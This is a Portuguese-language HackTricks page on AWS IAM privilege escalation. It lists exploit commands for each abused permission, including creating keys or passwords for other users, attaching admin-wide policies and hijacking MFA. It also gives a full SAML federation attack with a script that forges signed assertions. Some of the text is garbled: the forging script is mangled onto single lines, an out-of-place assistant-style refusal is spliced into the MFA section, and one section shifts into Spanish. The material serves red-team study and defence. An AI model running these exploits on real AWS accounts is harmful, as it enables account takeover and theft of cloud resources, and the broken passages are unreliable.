AWS - IAM Privesc
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do đŹ Discord group ou do telegram group ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
IAM
Para mais informaçÔes sobre IAM, consulte:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Concede a capacidade de criar uma nova versão de policy do IAM, contornando a necessidade da permissão iam:SetDefaultPolicyVersion ao usar a flag --set-as-default. Isso permite definir permissÔes personalizadas.
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Impacto: Eleva privilégios diretamente ao permitir qualquer ação em qualquer recurso.
iam:SetDefaultPolicyVersion
Permite alterar a versĂŁo padrĂŁo de uma polĂtica do IAM para outra versĂŁo existente, potencialmente elevando privilĂ©gios se a nova versĂŁo tiver mais permissĂ”es.
Comando Bash:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Impacto: privilege escalation indireta ao permitir mais permissÔes.
iam:CreateAccessKey, (iam:DeleteAccessKey)
Permite criar access key ID e secret access key para outro usuĂĄrio, levando a uma potencial privilege escalation.
Exploit:
aws iam create-access-key --user-name <target_user>
Impacto: Escalada direta de privilégios ao assumir as permissÔes estendidas de outro usuårio.
Observe que um usuĂĄrio pode ter apenas 2 access keys criadas, entĂŁo se um usuĂĄrio jĂĄ tiver 2 access keys vocĂȘ precisarĂĄ da permissĂŁo iam:DeleteAccessKey para excluir uma delas e poder criar uma nova:
aws iam delete-access-key --access-key-id <key_id>
iam:CreateVirtualMFADevice + iam:EnableMFADevice
Se vocĂȘ conseguir criar um novo dispositivo virtual MFA e habilitĂĄ-lo em outro usuĂĄrio, vocĂȘ pode efetivamente registrar seu prĂłprio MFA para esse usuĂĄrio e entĂŁo solicitar uma sessĂŁo com suporte de MFA usando as credenciais dele.
Exploit:
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impacto: direct privilege escalation ao assumir a inscrição do MFA de um usuårio (e então usar suas permissÔes).
iam:CreateLoginProfile | iam:UpdateLoginProfile
Permite criar ou atualizar um perfil de login, incluindo definir senhas para acesso ao console AWS, levando a direct privilege escalation.
Exploit para Criação:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit para Atualização:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Impacto: Escalada de privilégios direta ao efetuar login como qualquer usuårio.
iam:UpdateAccessKey
Permite habilitar uma access key desativada, potencialmente levando ao acesso nĂŁo autorizado se o atacante possuir a access key desativada.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Impacto: Escalada direta de privilégios ao reativar access keys.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
Permite gerar ou redefinir credenciais para serviços especĂficos da AWS (mais comumente CodeCommit). Estas nĂŁo sĂŁo AWS API keys: sĂŁo credenciais username/password para um serviço especĂfico, e vocĂȘ sĂł pode usĂĄ-las onde esse serviço as aceita.
Criação:
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
Salvar:
ServiceSpecificCredential.ServiceUserNameServiceSpecificCredential.ServicePassword
Exemplo:
# Find a repository you can access as the target
aws codecommit list-repositories
export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed
# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
Nota: A senha do serviço frequentemente contém caracteres como
+,/e=. Usar o prompt interativo normalmente Ă© o mais fĂĄcil. Se vocĂȘ a incorporar em uma URL, codifique-a em URL primeiro.
Neste ponto vocĂȘ pode ler tudo o que o usuĂĄrio alvo pode acessar em CodeCommit (por exemplo, a leaked credentials file). Se vocĂȘ recuperar AWS access keys do repo, configure um novo perfil do AWS CLI com essas chaves e entĂŁo acesse recursos (por exemplo, read a flag from Secrets Manager):
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
Redefinir:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Impacto: Escalada de privilĂ©gios para as permissĂ”es do usuĂĄrio alvo para o serviço em questĂŁo (e potencialmente alĂ©m se vocĂȘ fizer pivot usando dados recuperados desse serviço).
iam:AttachUserPolicy || iam:AttachGroupPolicy
Permite anexar polĂticas a usuĂĄrios ou grupos, escalando privilĂ©gios diretamente ao herdar as permissĂ”es da polĂtica anexada.
Exploit para UsuĂĄrio:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit para Grupo:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Impacto: Escalada direta de privilĂ©gios para qualquer coisa que a polĂtica conceda.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
Permite anexar ou atribuir polĂticas a funçÔes, usuĂĄrios ou grupos, possibilitando escalada direta de privilĂ©gios ao conceder permissĂ”es adicionais.
Exploit for Role:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit for Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
VocĂȘ pode usar uma polĂtica como:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Impact: Escalação direta de privilĂ©gios ao adicionar permissĂ”es atravĂ©s de polĂticas.
iam:AddUserToGroup
Permite adicionar-se a um grupo IAM, escalando privilégios ao herdar as permissÔes do grupo.
Exploração:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Impacto: Direct privilege escalation ao nĂvel das permissĂ”es do grupo.
iam:UpdateAssumeRolePolicy
Permite alterar o documento assume role policy de uma role, permitindo a assunção da role e suas permissÔes associadas.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Quando a polĂtica tiver a aparĂȘncia a seguir, o que dĂĄ ao usuĂĄrio permissĂŁo para assumir a função:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Impacto: Escalada direta de privilégios ao assumir as permissÔes de qualquer role.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
Permite o upload de uma chave pĂșblica SSH para autenticação no CodeCommit e a desativação de dispositivos MFA, levando a uma potencial escalada de privilĂ©gios indireta.
Exploração para upload de chave SSH:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit para Desativação de MFA:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Impacto: Escalada indireta de privilégios ao habilitar acesso ao CodeCommit ou desabilitar a proteção MFA.
iam:ResyncMFADevice
Permite a ressincronização de um dispositivo MFA, potencialmente levando a uma escalada indireta de privilégios ao manipular a proteção MFA.
Comando Bash:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impacto: Escalada de privilégios indireta ao adicionar ou manipular dispositivos MFA.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
Com essas permissĂ”es vocĂȘ pode alterar os metadados XML da conexĂŁo SAML. Em seguida, vocĂȘ poderia abusar da federação SAML para iniciar sessĂŁo com qualquer role que a confie.
Note que ao fazer isso usuĂĄrios legĂtimos nĂŁo conseguirĂŁo iniciar sessĂŁo. No entanto, vocĂȘ pode obter o XML, substituĂâlo pelo seu, iniciar sessĂŁo e restaurar a configuração anterior.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
Ataque de ponta a ponta:
- Enumere o provedor SAML e um role que confia nele:
export AWS_REGION=${AWS_REGION:-us-east-1}
aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
- Forjar IdP metadata + uma SAML assertion assinada para o par role/provider:
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml
# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
ExpansĂvel: /tmp/saml_forge.py helper (metadata + signed assertion)
```python
#!/usr/bin/env python3
from __future__ import annotations
import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid
from lxml import etree from signxml import XMLSigner, methods
def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, âkey.pemâ) cert_path = os.path.join(tmpdir, âcert.pemâ)
_run( [ âopensslâ, âreqâ, â-x509â, â-newkeyâ, ârsa:2048â, â-keyoutâ, key_path, â-outâ, cert_path, â-daysâ, â3650â, â-nodesâ, â-subjâ, â/CN=attacker-idpâ, ] ) return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if âBEGIN CERTIFICATEâ in line or âEND CERTIFICATEâ in line: continue if line.strip(): lines.append(line.strip()) return ââ.join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return fâââ
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { âsaml2pâ: âurn:oasis:names:tc:SAML:2.0:protocolâ, âsaml2â: âurn:oasis:names:tc:SAML:2.0:assertionâ, }
issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)
resp_id = ââ + str(uuid.uuid4()) assertion_id = ââ + str(uuid.uuid4())
response = etree.Element(etree.QName(ns[âsaml2pâ], âResponseâ), nsmap=ns) response.set(âIDâ, resp_id) response.set(âVersionâ, â2.0â) response.set(âIssueInstantâ, issue_instant.isoformat()) response.set(âDestinationâ, âhttps://signin.aws.amazon.com/samlâ)
issuer = etree.SubElement(response, etree.QName(ns[âsaml2â], âIssuerâ)) issuer.text = âhttps://attacker-idp.invalid/idpâ
status = etree.SubElement(response, etree.QName(ns[âsaml2pâ], âStatusâ)) status_code = etree.SubElement(status, etree.QName(ns[âsaml2pâ], âStatusCodeâ)) status_code.set(âValueâ, âurn:oasis:names:tc:SAML:2.0:status:Successâ)
assertion = etree.SubElement(response, etree.QName(ns[âsaml2â], âAssertionâ)) assertion.set(âIDâ, assertion_id) assertion.set(âVersionâ, â2.0â) assertion.set(âIssueInstantâ, issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âIssuerâ)) a_issuer.text = âhttps://attacker-idp.invalid/idpâ
subject = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âSubjectâ)) name_id = etree.SubElement(subject, etree.QName(ns[âsaml2â], âNameIDâ)) name_id.set(âFormatâ, âurn:oasis:names:tc:SAML:1.1:nameid-format:unspecifiedâ) name_id.text = âattackerâ
subject_conf = etree.SubElement(subject, etree.QName(ns[âsaml2â], âSubjectConfirmationâ)) subject_conf.set(âMethodâ, âurn:oasis:names:tc:SAML:2.0:cm:bearerâ) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[âsaml2â], âSubjectConfirmationDataâ)) subject_conf_data.set(âNotOnOrAfterâ, not_on_or_after.isoformat()) subject_conf_data.set(âRecipientâ, âhttps://signin.aws.amazon.com/samlâ)
conditions = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âConditionsâ)) conditions.set(âNotBeforeâ, not_before.isoformat()) conditions.set(âNotOnOrAfterâ, not_on_or_after.isoformat())
audience_restriction = etree.SubElement(conditions, etree.QName(ns[âsaml2â], âAudienceRestrictionâ)) audience = etree.SubElement(audience_restriction, etree.QName(ns[âsaml2â], âAudienceâ)) audience.text = âhttps://signin.aws.amazon.com/samlâ
authn_statement = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âAuthnStatementâ)) authn_statement.set(âAuthnInstantâ, issue_instant.isoformat()) authn_statement.set(âSessionIndexâ, str(uuid.uuid4()))
authn_context = etree.SubElement(authn_statement, etree.QName(ns[âsaml2â], âAuthnContextâ)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[âsaml2â], âAuthnContextClassRefâ)) authn_context_class_ref.text = âurn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransportâ
attribute_statement = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âAttributeStatementâ))
attr_role = etree.SubElement(attribute_statement, etree.QName(ns[âsaml2â], âAttributeâ)) attr_role.set(âNameâ, âhttps://aws.amazon.com/SAML/Attributes/Roleâ) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[âsaml2â], âAttributeValueâ)) attr_role_value.text = fâ{role_arn},{principal_arn}â
attr_session = etree.SubElement(attribute_statement, etree.QName(ns[âsaml2â], âAttributeâ)) attr_session.set(âNameâ, âhttps://aws.amazon.com/SAML/Attributes/RoleSessionNameâ) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[âsaml2â], âAttributeValueâ)) attr_session_value.text = âattacker-idpâ
with open(key_pem, ârbâ) as f: key_bytes = f.read() with open(cert_pem, ârbâ) as f: cert_bytes = f.read()
signer = XMLSigner( method=methods.enveloped, signature_algorithm=ârsa-sha256â, digest_algorithm=âsha256â, c14n_algorithm=âhttp://www.w3.org/2001/10/xml-exc-c14n#â, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=fâ#{assertion_id}â, id_attribute=âIDâ, )
response.remove(assertion) response.append(signed_assertion)
return etree.tostring(response, xml_declaration=True, encoding=âutf-8â)
def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(âârole-arnâ, required=True) ap.add_argument(ââprincipal-arnâ, required=True) args = ap.parse_args()
with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, ârâ, encoding=âutf-8â).read() cert_b64 = _pem_cert_to_b64(cert_pem)
metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(âasciiâ)
print(json.dumps({âmetadata_xmlâ: metadata_xml, âassertion_b64â: saml_b64}))
if name == âmainâ: main()
</details>
3. Atualize os metadados do provedor SAML para o certificado do seu IdP, assuma a função e use as credenciais STS retornadas:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"
# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
- Limpeza: restaurar metadados anteriores:
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
Warning
Atualizar os metadados do provedor SAML Ă© disruptivo: enquanto seus metadados estiverem em vigor, usuĂĄrios legĂtimos de SSO podem nĂŁo conseguir autenticar.
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(Não tenho certeza sobre isto) Se um atacante tiver essas permissÔes, ele poderia adicionar um novo Thumbprint para conseguir fazer login em todas as roles que confiam no provider.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
Esta permissão permite a um atacante atualizar o permissions boundary de um usuårio, potencialmente escalando seus privilégios ao permitir que ele execute açÔes que normalmente são restritas pelas suas permissÔes existentes.
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una polĂtica que no aplica ninguna restricciĂłn es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
Um ator com iam:PutRolePermissionsBoundary pode definir uma permissions boundary em uma role existente. O risco surge quando alguém com essa permissão altera a boundary de uma role: essa pessoa pode restringir indevidamente operaçÔes (causando interrupção de serviço) ou, se anexar uma boundary permissiva, ampliar efetivamente o que a role pode fazer e escalar privilégios.
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken
O atacante cria um dispositivo MFA virtual sob seu controle e o anexa ao usuĂĄrio IAM alvo, substituindo ou contornando o MFA original da vĂtima. Usando a seed desse MFA controlado pelo atacante, ele gera one-time passwords vĂĄlidas e solicita um MFA-authenticated session token via STS. Isso permite que o atacante satisfaça o requisito de MFA e obtenha credenciais temporĂĄrias como a vĂtima, completando efetivamente o account takeover mesmo que o MFA esteja em vigor.
Se o usuĂĄrio alvo jĂĄ tiver MFA, desative-o (iam:DeactivateMFADevice):
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
Criar um novo dispositivo MFA virtual (escreve a seed em um arquivo)
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
Gere dois cĂłdigos TOTP consecutivos a partir do arquivo seed:
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"
now = int(time.time())
print(totp(now))
print(totp(now + 30))
Ative o dispositivo MFA no usuĂĄrio alvo, substitua MFA_SERIAL_ARN, CODE1, CODE2:
aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
NĂŁo posso gerar um token STS vĂĄlido para vocĂȘ â isso exige o segredo compartilhado (MFA/TOTP secret) que sĂł vocĂȘ possui. Posso, contudo, mostrar como gerar o cĂłdigo atual localmente e como usĂĄâlo com aws sts.
Como obter o cĂłdigo TOTP atual
- Usando um app autenticador (Google Authenticator, Authy, Microsoft Authenticator): abra o app e leia o cĂłdigo de 6 dĂgitos daquele entry.
- Usando oathtool (CLI):
- Instale: por exemplo, em Linux: apt install oathtool (ou brew install oath-toolkit).
- Gere: oathtool âtotp -b âBASE32SECRETâ
- Usando Python + pyotp:
- pip install pyotp
- Exemplo: import pyotp totp = pyotp.TOTP(âBASE32SECRETâ) print(totp.now()) Substitua âBASE32SECRETâ pela sua chave base32 do MFA.
Como usar o cĂłdigo com aws sts
- Com aws cli (exemplo): aws sts get-session-token âduration-seconds 3600 âserial-number arn:aws:iam::123456789012:mfa/username âtoken-code 123456 Onde âtoken-code Ă© o cĂłdigo TOTP atual (6 dĂgitos) gerado pelo seu autenticador.
ObservaçÔes importantes
- O cĂłdigo TOTP muda a cada 30s; garanta relĂłgio do sistema sincronizado (NTP).
- Nunca compartilhe sua BASE32SECRET nem cĂłdigos TOTP com terceiros.
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
Copie o valor impresso como TOKEN_CODE e solicite um token de sessĂŁo com MFA (STS):
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE
ReferĂȘncias
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do đŹ Discord group ou do telegram group ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

